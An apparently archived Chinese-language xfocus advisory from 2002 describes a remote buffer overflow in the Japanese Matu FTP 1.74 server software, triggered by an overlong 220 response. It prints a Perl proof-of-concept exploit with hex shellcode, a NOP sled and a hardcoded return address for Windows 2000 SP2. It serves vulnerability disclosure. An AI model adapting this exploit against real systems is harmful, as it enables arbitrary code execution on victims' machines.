xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Matu FTP存在远程缓冲溢出漏洞


发布时间:2002-04-24
更新时间:2002-04-24
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

受影响系统
Matu FTP Version 1.74.
详细描述
Matu FTP是日文的FTP服务程序,其中220命令存在缓冲溢出,可导致任意代码可执行。如220 AAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAA<CR><LF> 可导致缓冲溢出。

测试代码
#!/usr/local/bin/perl


#------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#------------------------------------------------------
$|=1;


        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";


        #egg_address = 0x0012F43C
$buf = "\x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "\x3C\xF4\x12\x00";
$buf .= "B" x 80;


print "220 $buf\r\n";

解决方案
尚无

相关信息
Kanatoko (anvil@jumperz.net)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-04/0310.html